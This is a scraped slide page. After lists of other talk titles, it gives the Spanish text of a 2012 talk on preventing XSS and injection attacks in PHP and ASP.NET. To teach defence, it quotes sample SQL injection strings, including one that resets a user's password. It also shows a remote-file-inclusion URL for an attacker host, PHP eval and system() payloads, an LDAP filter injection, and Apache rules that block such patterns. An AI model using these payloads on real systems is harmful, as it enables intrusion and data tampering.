Blockchain: la revolución industrial de internet - Oscar Lage
Blockchain: la revolución industrial de internet - Oscar LageBlockchain: la revolución industrial de internet - Oscar Lage
Blockchain: la revolución industrial de internet - Oscar Lage
 
Cloud Learning: la formación del siglo XXI - Mónica Mediavilla
Cloud Learning: la formación del siglo XXI - Mónica MediavillaCloud Learning: la formación del siglo XXI - Mónica Mediavilla
Cloud Learning: la formación del siglo XXI - Mónica Mediavilla
 
Desarrollo web en Nodejs con Pillars por Chelo Quilón
Desarrollo web en Nodejs con Pillars por Chelo QuilónDesarrollo web en Nodejs con Pillars por Chelo Quilón
Desarrollo web en Nodejs con Pillars por Chelo Quilón
 
La línea recta hacia el éxito - Jon Torrado - Betabeers Bilbao
La línea recta hacia el éxito -  Jon Torrado - Betabeers BilbaoLa línea recta hacia el éxito -  Jon Torrado - Betabeers Bilbao
La línea recta hacia el éxito - Jon Torrado - Betabeers Bilbao
 
6 errores a evitar si eres una startup móvil y quieres evolucionar tu app
6 errores a evitar si eres una startup móvil y quieres evolucionar tu app6 errores a evitar si eres una startup móvil y quieres evolucionar tu app
6 errores a evitar si eres una startup móvil y quieres evolucionar tu app
 
Dev ops.continuous delivery - Ibon Landa (Plain Concepts)
Dev ops.continuous delivery - Ibon Landa (Plain Concepts)Dev ops.continuous delivery - Ibon Landa (Plain Concepts)
Dev ops.continuous delivery - Ibon Landa (Plain Concepts)
 
Introducción a scrum - Rodrigo Corral (Plain Concepts)
Introducción a scrum - Rodrigo Corral (Plain Concepts)Introducción a scrum - Rodrigo Corral (Plain Concepts)
Introducción a scrum - Rodrigo Corral (Plain Concepts)
 
Gestión de proyectos y consorcios internacionales - Iñigo Cañadas (GFI)
Gestión de proyectos y consorcios internacionales - Iñigo Cañadas (GFI)Gestión de proyectos y consorcios internacionales - Iñigo Cañadas (GFI)
Gestión de proyectos y consorcios internacionales - Iñigo Cañadas (GFI)
 
Software de gestión Open Source - Odoo - Bakartxo Aristegi (Aizean)
Software de gestión Open Source - Odoo - Bakartxo Aristegi (Aizean)Software de gestión Open Source - Odoo - Bakartxo Aristegi (Aizean)
Software de gestión Open Source - Odoo - Bakartxo Aristegi (Aizean)
 
Elemental, querido Watson - Caso de Uso
Elemental, querido Watson - Caso de UsoElemental, querido Watson - Caso de Uso
Elemental, querido Watson - Caso de Uso
 
Seguridad en tu startup
Seguridad en tu startupSeguridad en tu startup
Seguridad en tu startup
 
Spark Java: Aplicaciones web ligeras y rápidas con Java, por Fran Paredes.
Spark Java: Aplicaciones web ligeras y rápidas con Java, por Fran Paredes.Spark Java: Aplicaciones web ligeras y rápidas con Java, por Fran Paredes.
Spark Java: Aplicaciones web ligeras y rápidas con Java, por Fran Paredes.
 
Buenas prácticas para la optimización web
Buenas prácticas para la optimización webBuenas prácticas para la optimización web
Buenas prácticas para la optimización web
 
La magia de Scrum
La magia de ScrumLa magia de Scrum
La magia de Scrum
 
Programador++ por @wottam
Programador++ por @wottamProgramador++ por @wottam
Programador++ por @wottam
 
RaspberryPi: Tu dispositivo para IoT
RaspberryPi: Tu dispositivo para IoTRaspberryPi: Tu dispositivo para IoT
RaspberryPi: Tu dispositivo para IoT
 
Introducción al Big Data - Xabier Tranche - VIII Betabeers Bilbao 27/02/2015
 Introducción al Big Data - Xabier Tranche  - VIII Betabeers Bilbao 27/02/2015 Introducción al Big Data - Xabier Tranche  - VIII Betabeers Bilbao 27/02/2015
Introducción al Big Data - Xabier Tranche - VIII Betabeers Bilbao 27/02/2015
 
PAYTPV Plataforma Integral de Cobros - VIII Betabeers Bilbao 27/02/2015
PAYTPV Plataforma Integral de Cobros - VIII Betabeers Bilbao 27/02/2015PAYTPV Plataforma Integral de Cobros - VIII Betabeers Bilbao 27/02/2015
PAYTPV Plataforma Integral de Cobros - VIII Betabeers Bilbao 27/02/2015
 

Dernier

Google-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptx
Google-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptxGoogle-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptx
Google-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptxAlexander López
 
Arenas Camacho-Practica tarea Sesión 12.pptx
Arenas Camacho-Practica tarea Sesión 12.pptxArenas Camacho-Practica tarea Sesión 12.pptx
Arenas Camacho-Practica tarea Sesión 12.pptxJOSEFERNANDOARENASCA
 
Presentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidadPresentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidadMiguelAngelVillanuev48
 
Mapa-conceptual-del-Origen-del-Universo-3.pptx
Mapa-conceptual-del-Origen-del-Universo-3.pptxMapa-conceptual-del-Origen-del-Universo-3.pptx
Mapa-conceptual-del-Origen-del-Universo-3.pptxMidwarHenryLOZAFLORE
 
Segunda ley de la termodinámica TERMODINAMICA.pptx
Segunda ley de la termodinámica TERMODINAMICA.pptxSegunda ley de la termodinámica TERMODINAMICA.pptx
Segunda ley de la termodinámica TERMODINAMICA.pptxMariaBurgos55
 
El uso delas tic en la vida cotidiana MFEL
El uso delas tic en la vida cotidiana MFELEl uso delas tic en la vida cotidiana MFEL
El uso delas tic en la vida cotidiana MFELmaryfer27m
 
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdf
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdfPARTES DE UN OSCILOSCOPIO ANALOGICO .pdf
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdfSergioMendoza354770
 
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptxMedidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptxaylincamaho
 
definicion segun autores de matemáticas educativa
definicion segun autores de matemáticas  educativadefinicion segun autores de matemáticas  educativa
definicion segun autores de matemáticas educativaAdrianaMartnez618894
 
La Electricidad Y La Electrónica Trabajo Tecnología.pdf
La Electricidad Y La Electrónica Trabajo Tecnología.pdfLa Electricidad Y La Electrónica Trabajo Tecnología.pdf
La Electricidad Y La Electrónica Trabajo Tecnología.pdfjeondanny1997
 
FloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptxFloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptx241522327
 
TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.ppt
TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.pptTEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.ppt
TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.pptJavierHerrera662252
 
Tecnologias Starlink para el mundo tec.pptx
Tecnologias Starlink para el mundo tec.pptxTecnologias Starlink para el mundo tec.pptx
Tecnologias Starlink para el mundo tec.pptxGESTECPERUSAC
 
GonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptxGonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptx241523733
 
El uso de las tic en la vida ,lo importante que son
El uso de las tic en la vida ,lo importante  que sonEl uso de las tic en la vida ,lo importante  que son
El uso de las tic en la vida ,lo importante que son241514984
 
dokumen.tips_36274588-sistema-heui-eui.ppt
dokumen.tips_36274588-sistema-heui-eui.pptdokumen.tips_36274588-sistema-heui-eui.ppt
dokumen.tips_36274588-sistema-heui-eui.pptMiguelAtencio10
 
Explorando la historia y funcionamiento de la memoria ram
Explorando la historia y funcionamiento de la memoria ramExplorando la historia y funcionamiento de la memoria ram
Explorando la historia y funcionamiento de la memoria ramDIDIERFERNANDOGUERRE
 
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptxCrear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptxNombre Apellidos
 
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).ppt
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).pptLUXOMETRO EN SALUD OCUPACIONAL(FINAL).ppt
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).pptchaverriemily794
 
El uso de las TIC's en la vida cotidiana.
El uso de las TIC's en la vida cotidiana.El uso de las TIC's en la vida cotidiana.
El uso de las TIC's en la vida cotidiana.241514949
 

Dernier (20)

Google-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptx
Google-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptxGoogle-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptx
Google-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptx
 
Arenas Camacho-Practica tarea Sesión 12.pptx
Arenas Camacho-Practica tarea Sesión 12.pptxArenas Camacho-Practica tarea Sesión 12.pptx
Arenas Camacho-Practica tarea Sesión 12.pptx
 
Presentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidadPresentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidad
 
Mapa-conceptual-del-Origen-del-Universo-3.pptx
Mapa-conceptual-del-Origen-del-Universo-3.pptxMapa-conceptual-del-Origen-del-Universo-3.pptx
Mapa-conceptual-del-Origen-del-Universo-3.pptx
 
Segunda ley de la termodinámica TERMODINAMICA.pptx
Segunda ley de la termodinámica TERMODINAMICA.pptxSegunda ley de la termodinámica TERMODINAMICA.pptx
Segunda ley de la termodinámica TERMODINAMICA.pptx
 
El uso delas tic en la vida cotidiana MFEL
El uso delas tic en la vida cotidiana MFELEl uso delas tic en la vida cotidiana MFEL
El uso delas tic en la vida cotidiana MFEL
 
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdf
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdfPARTES DE UN OSCILOSCOPIO ANALOGICO .pdf
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdf
 
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptxMedidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
 
definicion segun autores de matemáticas educativa
definicion segun autores de matemáticas  educativadefinicion segun autores de matemáticas  educativa
definicion segun autores de matemáticas educativa
 
La Electricidad Y La Electrónica Trabajo Tecnología.pdf
La Electricidad Y La Electrónica Trabajo Tecnología.pdfLa Electricidad Y La Electrónica Trabajo Tecnología.pdf
La Electricidad Y La Electrónica Trabajo Tecnología.pdf
 
FloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptxFloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptx
 
TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.ppt
TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.pptTEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.ppt
TEMA 2 PROTOCOLO DE EXTRACCION VEHICULAR.ppt
 
Tecnologias Starlink para el mundo tec.pptx
Tecnologias Starlink para el mundo tec.pptxTecnologias Starlink para el mundo tec.pptx
Tecnologias Starlink para el mundo tec.pptx
 
GonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptxGonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptx
 
El uso de las tic en la vida ,lo importante que son
El uso de las tic en la vida ,lo importante  que sonEl uso de las tic en la vida ,lo importante  que son
El uso de las tic en la vida ,lo importante que son
 
dokumen.tips_36274588-sistema-heui-eui.ppt
dokumen.tips_36274588-sistema-heui-eui.pptdokumen.tips_36274588-sistema-heui-eui.ppt
dokumen.tips_36274588-sistema-heui-eui.ppt
 
Explorando la historia y funcionamiento de la memoria ram
Explorando la historia y funcionamiento de la memoria ramExplorando la historia y funcionamiento de la memoria ram
Explorando la historia y funcionamiento de la memoria ram
 
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptxCrear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
Crear un recurso multimedia. Maricela_Ponce_DomingoM1S3AI6-1.pptx
 
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).ppt
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).pptLUXOMETRO EN SALUD OCUPACIONAL(FINAL).ppt
LUXOMETRO EN SALUD OCUPACIONAL(FINAL).ppt
 
El uso de las TIC's en la vida cotidiana.
El uso de las TIC's en la vida cotidiana.El uso de las TIC's en la vida cotidiana.
El uso de las TIC's en la vida cotidiana.
 

Prevencion ante ataques XSS - Betabeers Córdoba (29/11/2012)

  • 1. Prevención ante ataques XSS Algunos pequeños consejos para programadores 3º Betabeers Córdoba 29 de Noviembre de 2012 José María Canto Ortiz
  • 2. Lo que soy Diplomado en Informática Analista Programador Más 12 años de experiencia Colegiado CPITIA Ciclista aficionado
  • 3. Mi experiencia Autónomo Programador web ISP local 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012
  • 4. ¿Qué es XSS? Según Wikipedia: Cross-site scripting es un tipo de inseguridad informática o agujero de seguridad típico de las aplicaciones Web, que permite a una tercera parte inyectar en páginas Web vistas por el usuario código JavaScript o en otro lenguaje script similar, evitando las medidas de control. Se le llamó XSS para no crear confusión con CSS, las hojas de estilo en cascada. No se pretende hacer apología de este tipo de ataques, sino más bien, intentar combatirlo con las armas que tiene un programador.
  • 5. ¿Qué es XSS? Según Wikipedia: Cross-site scripting es un tipo de inseguridad informática o agujero de seguridad típico de las Un ataque que permite la aplicaciones Web, que permite a una tercera introducción de código de algún parte inyectar en páginas Web vistas por el usuario código JavaScriptweb. otro lenguaje tipo en una página o en script similar, evitando las medidas de control. Se le llamó XSS para no crear confusión con CSS, las hojas de estilo en cascada. No se pretende hacer apología de este tipo de ataques, sino más bien, intentar combatirlo con las armas que tiene un programador.
  • 6. Posibles puntos de entrada Tablones de anuncios Libros de visitas Foros de discusión Formularios de contacto Búsquedas Parámetros
  • 7. ¿Cómo pueden ocurrir? Aumento de la interacción con el usuario. No se validan formularios con Javascript. Si se hace puede que el atacante tenga Javascript desactivado. En la parte servidor no se comprueban los parámetros. Descuidos a la hora de implementar un formulario. Mal planteamiento de determinadas acciones.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15. Tipos No Persistente Persistente (Reflejado) (Almacenado) Servidor Web Servidor Web enlace XSS respuesta respuesta Usuario Usuario enlace XSS S e XS c e nla Atacante Atacante
  • 16. Modalidades Inyección de HTML Inyección de SQL Inclusión remota de ficheros (RFI) Inyección de Código php Cross Frame Scripting (XFS) Inyección de LDAP XST (Cross Site Tracing) …
  • 17. Inyección de HTML Utiliza Javascript y las propiedades del DOM. Incluye o manipula código HTML dentro de una página web. Obtener información del usuario.
  • 19. Inyección de HTML Ejemplo 1 Ahí es dónde se muestra el texto indicado en el campo del formulario y que hace que se ejecute.
  • 20. Inyección de HTML Ejemplo 1 Ahí es dónde se muestra el texto indicado en el campo del formulario y que hace que se ejecute. En el caso que se almacenara en una Base de datos (Ej: en un foro), se estaría “mostrando” cada vez que se entrara al mismo.
  • 22. Inyección de HTML Ejemplo 3 Se podría considerar este ejemplo como un ataque de Cross Frame Scripting (XFS) aparte de la inyección de HTML.
  • 23. Inyección de SQL Introduce dentro de una sentencia SQL que espera un valor, otra no esperada. Intenta obtener/manipular o destruir información del servidor (base de datos). No es exclusivo de un lenguaje de programación, puede ocurrir en todos. Posibles Sentencias de entrada: '; 1' OR 1=1 ' OR ''= ' …
  • 24. Inyección de SQL Ejemplo de sentencias: SELECT titulo,descripcion FROM libro WHERE codigo=1 OR 1=1; SELECT clave FROM cliente WHERE usuario=‘mortadelo’; Puede Ir probando usuarios hasta que obtenga uno que no cause un error y sabrá que ese existe para intentar colarse dentro. SELECT titulo,descripcion FROM libro WHERE codigo=1 OR 1=1; UPDATE cliente SET clave=‘ahoraentroyo’ WHERE Cambia la clave al usuario=‘mortadelo’; usuario y ya puede entrar al sistema
  • 25. Inyección de SQL Ejemplo de sentencias: SELECT titulo,descripcion FROM libro WHERE codigo=1 OR 1=1; SELECT clave FROM cliente WHERE usuario=‘mortadelo’; Como ocurre: Puede Ir probando usuarios hasta que obtenga uno que no cause un error y sabrá que ese existe para intentar colarse dentro. SELECT titulo,descripcion FROM libro WHERE codigo=1 OR 1=1; UPDATE cliente SET clave=‘ahoraentroyo’ WHERE Cambia la clave al usuario=‘mortadelo’; usuario y ya puede entrar al sistema
  • 26. Inclusión remota de ficheros Conocido normalmente como RFI (Remote File Inclusion) Ejecuta código en el lado del servidor que está incluido en un fichero externo. Sólo ocurre en php. Uso incorrecto de las funciones: require() require_one() include() include_once() system() …
  • 27. Inclusión remota de ficheros Ejemplo: Si tuviéramos algo así en el código: Si se le pasa como parámetro esto: ls –l > ./listado.txt Podría generar el fichero indicado conteniendo la estructura de directorios del web. O por ejemplo: Si se le pasa como parámetro algo como esto: http://webdelatacante/scriptdellio Luego veremos que esto ya no suele ser así.
  • 28. Inyección de código php Inyecta código personalizado en el lado del motor de secuencias de comandos del servidor. Se aprovecha de la función eval(). eval() ejecuta el argumento como código. eval($codigo): evalua el código que se le facilita -$codigo- como código php. Precaución: El constructor de lenguaje eval() es muy peligroso porque permite la ejecución de código de PHP arbitrario. Su uso está totalmente desaconsejado. Si se ha verificado cuidadosamente que no existe otra opción que usar este constructor, se ha de poner especial atención en no pasar ninguna información proporcionada por el usuario a esta función sin haberla validado apropiadamente con anterioridad. Fuente: Manual php
  • 29. Inyección de código php Ejemplo: Si se le pasa como parámetro esto: 1;phpinfo(); ó phpinfo() Podría mostrar la configuración de php. Y es un indicio para poder realizar cualquier otro intento de ataque, Ahora se le pasa como parámetro bien con system() u otras esto: funciones. system("/bin/echo hola, holita"); Y nos mostrará en pantalla ese texto.
  • 30. Cross Frame Scripting (XFS) Afecta a webs que usan marcos (frames) El atacante induce al usuario a navegar a una página web que el atacante controla; y roba los datos de acceso. Se usa para describir un ataque que hace uso de un frame.
  • 31. Cross Frame Scripting (XFS) Ejemplo
  • 32. Inyección LDAP Se basa en técnicas similares a la inyección SQL. Atacante puede aprovechar el fallo para poder inyectar código y cambiar el resultado que se obtiene con el filtro. No es exclusivo de un lenguaje de programación, puede ocurrir en todos.
  • 33. Inyección LDAP Ejemplo: Filtro normal para verificar un usuario y clave en un servidor LDAP (&(USER=usuario)(PASSWORD=clave)) Si el atacante conoce un usuario real (Ej: jmcanto), se podría indicar en el campo usuario: jmcanto)(&)), con lo cual la inyección sería: (&(USER= jmcanto)(&)))(PASSWORD=clave)) Solamente se procesa el 1º filtro. La consulta siempre es cierta. Se accede a los recursos y documentos del mencionado usuario.
  • 34. Cross Site Tracing (XST) Se aprovecha del método TRACE de HTTP. Puede ser útil para saltarse protección para acceder a cookies desde el lado del cliente, si el navegador lo permite. Trace permite de una manera fácil, ver lo que el cliente HTTP envía y lo que el servidor recibe. Al probar este código, en cualquier navegador moderno, dará un error (NS_ERROR_ILLEGAL_VALUE en FF). Para probarlo hay que hacerlo en un navegador versión <=IE6. No obstante Se recomienda su desactivación.
  • 36. Errores personalizados No dar pistas sobre el error ocurrido php ASP.NET
  • 37. Inclusión de ficheros Evitar en la medida de lo posible la inclusión de ficheros pasados como parámetros. Si se tiene que hacer: Se debe comprobar que exista el fichero. Se podría pasar como parámetro solo el nombre sin extensión.
  • 38. Validaciones en Javascript Barrera inicial Puede que desistan en el caso de no tener conocimientos más amplios • Inconveniente: se puede desactivar fácilmente
  • 39. Control de entradas (I) Expresiones regulares Se puede controlar los parámetros/campos de forma rápida y sencilla. Ejemplos: [ -~]: todos los caracteres Ascii desde el espacio hasta ~ [^0-9]: no sean números [0-9]: números [a-z]: letras en minúscula [A-Z]: caracteres en mayúscula [0-9]{2}/[0-9]{2}/[0-9]{4}: fecha [1-9]{1,3}.[0-9] {1,3}.[0-9] {1,3}.[0-9] {1,3}: Dirección IP …
  • 40. Control de entradas (I) Expresiones regulares Ejemplos utilización: php
  • 41. Control de entradas (I) Expresiones regulares Ejemplos utilización: ASP.NET
  • 42. Control de entradas (II) Funciones Usar las del lenguaje php ASP.NET htmlentities IsDate (Visual Basic) htmlspecialchar mysql_real_escape_string(MySQL) IsNumeric (Visual Basic) real_escape_string (mysqli) Regex.IsMatch addslashes stripslashes Regex.Replace preg_replace … …
  • 43. Control de entradas (II) Funciones Implementar nuestras propias funciones php
  • 44. Control de entradas (II) Funciones Implementar nuestras propias funciones ASP.NET
  • 45. Formularios Captcha – Inconveniente: mala visibilidad Preguntas aleatorias – Inconveniente: puede que se necesite un número grande de preguntas para que no lleguen a repetirse. Aceptación de la política de privacidad o similares
  • 46. Bases de datos Utilización de procedimientos almacenados con parámetros. Utilizar funciones para controlar las cadenas. Usar varios usuarios para acceder a la base de datos. uno para operaciones de escritura otro para operaciones de lectura No crear nunca instrucciones SQL directamente a partir de datos indicados por el usuario.
  • 47. Procedencia Comprobar de dónde viene el formulario php ASP.NET Inconvenientes: Puede que no esté activo Se puede falsificar
  • 48. Otras configuraciones php.ini register_globals off: desactiva esta directiva ya que permite aceptar parámetros $_GET y $_POST como variables. Ej: $_POST[‘nombre’] -> $nombre allow_furl_open off: al desactivarla no se permite la inclusión de ficheros remotos. safe_mode on: restringe el uso de ejecutables. openbase_dir ruta: limita la ejecución a la ruta indicada. disable_functions <lista_funciones>: no permite la utilización de las funciones indicadas. disable_classes <lista_clases>: no permite el uso de las clases.
  • 49. Otras configuraciones .htaccess SetEnv REGISTER_GLOBALS 0 Desactivar TRACE de HTTP RewriteEngine on RewriteCond %{REQUEST_METHOD} ^TRACE RewriteRule .* – [F] Módulos Apache mod_rewrite: módulo de manipulación de URLs Ej: RewriteCond %{QUERY_STRING} drop.+procedure [NC,OR] … mod_security: módulo de seguridad para Apache Ej: SecFilterSelective ARGS "drop[[:space:]]+procedure"
  • 50. Otras configuraciones .htaccess SetEnv REGISTER_GLOBALS 0 Desactivar TRACE de HTTP RewriteEngine on Antes de recargar%{REQUEST_METHOD}ó^TRACE RewriteCond el fichero .htaccess el httpd.conf con muchas instrucciones de este[F] RewriteRule .* – tipo, habría que evaluar si realmente merece la pena bajar la velocidad de ejecución del web al introducirlas, cuando quizás se pueda realizar todo esto por código Módulos Apache implementando algunas validaciones. mod_rewrite: módulo de manipulación de URLs Ej: RewriteCond %{QUERY_STRING} drop.+procedure [NC,OR] … mod_security: módulo de seguridad para Apache Ej: SecFilterSelective ARGS "drop[[:space:]]+procedure"
  • 52. ¡Muchas Gracias! @jmcanto_km1 www.linkedin.com/in/josemariacantoortiz @ jmcanto@km1desarrollos.com